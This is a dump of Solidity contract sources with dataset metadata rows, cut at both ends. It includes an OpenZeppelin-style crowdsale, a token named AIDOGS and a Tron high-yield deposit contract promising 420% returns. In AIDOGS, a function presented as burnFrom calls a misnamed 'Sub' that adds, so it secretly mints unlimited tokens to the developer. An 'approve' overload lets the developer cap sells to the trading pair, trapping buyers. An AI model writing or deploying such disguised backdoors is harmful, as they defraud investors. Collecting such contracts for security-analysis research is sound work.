require(address(_token) != firmament(), "firmament");
_token.safeTransfer(_to, _amount);
}
function abort() external onlyController {
// control for aborting deployment
require(canAbort, "abort cancelled");
IBasisAsset _firm = IBasisAsset(firmament());
IBasisAsset _emp = IBasisAsset(empyreal());
_firm.burn(_firm.balanceOf(address(this)));
_emp.burn(_emp.balanceOf(address(this)));
}
function disableAbort() external onlyController {
canAbort = false;
}
}
| 33,357 | 14,115 |
0955f22588d24c589d488d252374404a6a236a08d92f6bfb6a772e91025bd6da
| 29,187 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/RefundablePostDeliveryCrowdsale.sol
| 3,914 | 15,271 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
// solhint-disable-next-line not-rely-on-time
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed());
require(newClosingTime > _closingTime);
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
// solhint-disable-previous-line no-empty-blocks
}
}
contract Secondary {
address private _primary;
event PrimaryTransferred(address recipient);
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
function primary() public view returns (address) {
return _primary;
}
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee) public onlyPrimary payable {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee));
super.withdraw(payee);
}
}
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
constructor (address payable beneficiary) public {
require(beneficiary != address(0));
_beneficiary = beneficiary;
_state = State.Active;
}
function state() public view returns (State) {
return _state;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function deposit(address refundee) public payable {
require(_state == State.Active);
super.deposit(refundee);
}
function close() public onlyPrimary {
require(_state == State.Active);
_state = State.Closed;
emit RefundsClosed();
}
function enableRefunds() public onlyPrimary {
require(_state == State.Active);
_state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(_state == State.Closed);
_beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 private _goal;
// refund escrow used to hold funds while crowdsale is running
RefundEscrow private _escrow;
constructor (uint256 goal) public {
require(goal > 0);
_escrow = new RefundEscrow(wallet());
_goal = goal;
}
function goal() public view returns (uint256) {
return _goal;
}
function claimRefund(address payable refundee) public {
require(finalized());
require(!goalReached());
_escrow.withdraw(refundee);
}
function goalReached() public view returns (bool) {
return weiRaised() >= _goal;
}
function _finalization() internal {
if (goalReached()) {
_escrow.close();
_escrow.beneficiaryWithdraw();
} else {
_escrow.enableRefunds();
}
super._finalization();
}
function _forwardFunds() internal {
_escrow.deposit.value(msg.value)(msg.sender);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
function withdrawTokens(address beneficiary) public {
require(hasClosed());
uint256 amount = _balances[beneficiary];
require(amount > 0);
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
}
}
contract RefundablePostDeliveryCrowdsale is RefundableCrowdsale, PostDeliveryCrowdsale {
function withdrawTokens(address beneficiary) public {
require(finalized());
require(goalReached());
super.withdrawTokens(beneficiary);
}
}
| 131,327 | 14,116 |
2dda83220959943c22a79f40658b39456e56ea5415de17af8a8f3f61ba474eda
| 19,779 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/93/935a6b06aaa997605b19531bcb66ba516905a1cb_AIDOGS.sol
| 3,238 | 11,041 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AIDOGS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 43,089 | 14,117 |
9affce1dcff4e30eea811ea88fb9ee3065e90808f17ee6d07900ceb58f13252c
| 14,210 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TZ/TZ8HmHrB6MZwqcjpioSU3QwAt5pbA1HcCZ_Tron420.sol
| 3,736 | 13,706 |
//SourceUnit: Tron420.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Tron420 {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 500e6;
uint constant public INVEST_MAX_AMOUNT = 2000000e6;
uint constant public MAX_ACTIVE_DEPOSITS = 2000000e6;
uint constant public DAILY_LIMIT = 250000e6;
uint constant public MAX_PROFIT = 42000;
uint constant public WITHDRAW_MIN_AMOUNT = 200e6;
uint constant public WITHDRAW_RETURN = 2500;
uint constant public BASE_PERCENT = 250;
uint[] public REFERRAL_PERCENTS = [1000, 500, 300, 200];
uint constant public ADMIN_FEE = 800;
uint constant public DEV_FEE = 100;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public TIME_STEP = 1 days;
address payable public ownerAddress;
address payable public dev1Address;
address payable public dev2Address;
uint public totalInvested;
uint public totalUsers;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public totalRefBonus;
uint256 public startDate;
struct Deposit {
uint amount;
uint withdrawn;
uint start;
}
struct User {
Deposit[] deposits;
uint checkpoint;
address referrer;
uint bonus;
uint totalBonus;
uint24[4] refs;
uint24[4] levels;
uint withdrawn;
}
mapping (address => User) internal users;
mapping (uint => mapping(address => uint)) public dLimit;
event Newbie(address indexed user, address indexed parent);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event FeePayed(address indexed user, uint totalAmount);
function() payable external {
}
constructor(address payable owner, address payable dev1, address payable dev2) public {
require(!isContract(owner) && !isContract(dev1) && !isContract(dev2));
ownerAddress = owner;
dev1Address = dev1;
dev2Address = dev2;
startDate = uint(1664420400); //Thu Sep 29 2022 03:00:00 GMT+0000
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function withdraw() public {
require(block.timestamp > startDate, "contract does not launch yet");
User storage user = users[msg.sender];
require(user.checkpoint + TIME_STEP < block.timestamp , "withdraw allowed only once a day");
uint referralBonus = getUserReferralBonus(msg.sender);
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
dividends = (uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
if(dLimit[cDay()][msg.sender] + totalAmount > DAILY_LIMIT){
user.bonus = uint(dLimit[cDay()][msg.sender].add(totalAmount).sub(DAILY_LIMIT));
totalAmount = DAILY_LIMIT.sub(dLimit[cDay()][msg.sender]);
}
require(totalAmount > WITHDRAW_MIN_AMOUNT, "The minimum withdrawable amount is 200 TRX");
dLimit[cDay()][msg.sender] = dLimit[cDay()][msg.sender].add(totalAmount);
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
user.bonus = user.bonus.add(totalAmount.sub(contractBalance));
totalAmount = contractBalance;
}
user.checkpoint = uint(block.timestamp);
totalAmount = totalAmount.sub(totalAmount.mul(WITHDRAW_RETURN).div(PERCENTS_DIVIDER));
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint referralBonus = getUserReferralBonus(userAddress);
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
dividends = (uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
}
}
return referralBonus.add(totalDividends);
}
function invest(address referrer) public payable {
require(block.timestamp > startDate, "contract does not launch yet");
uint msgValue = msg.value;
require(msgValue >= INVEST_MIN_AMOUNT && msgValue <= INVEST_MAX_AMOUNT, "Bad Deposit");
require(msgValue.add(getUserTotalActiveDeposits(msg.sender)) <= MAX_ACTIVE_DEPOSITS, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint devFee = msgValue.mul(DEV_FEE).div(PERCENTS_DIVIDER);
ownerAddress.transfer(adminFee);
dev1Address.transfer(devFee);
dev2Address.transfer(devFee);
emit FeePayed(msg.sender, adminFee.add(devFee.mul(2)));
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint i = 0; i < 4; i++) {
if (upline != address(0)) {
users[upline].levels[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 4; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (amount > 0) {
users[upline].bonus = uint(uint(users[upline].bonus).add(amount));
users[upline].totalBonus = uint(uint(users[upline].totalBonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint(block.timestamp);
totalUsers++;
emit Newbie(msg.sender,user.referrer);
}
user.deposits.push(Deposit(uint(msgValue), 0, uint(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
emit NewDeposit(msg.sender, msgValue);
}
function cDay() public view returns(uint) {
return (block.timestamp.div(TIME_STEP));
}
function getUserDailyLimit(address _user) public view returns(uint) {
return dLimit[cDay()][_user];
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserCheckpoint(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserReferralBonus(address userAddress) public view returns(uint) {
return users[userAddress].bonus;
}
function getUserDownlineCount(address userAddress) public view returns(uint24[4] memory levels) {
return (users[userAddress].levels);
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalActiveDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
if(uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(MAX_PROFIT).div(PERCENTS_DIVIDER)){
amount = amount.add(uint(user.deposits[i].amount));
}
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
return users[userAddress].withdrawn;
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
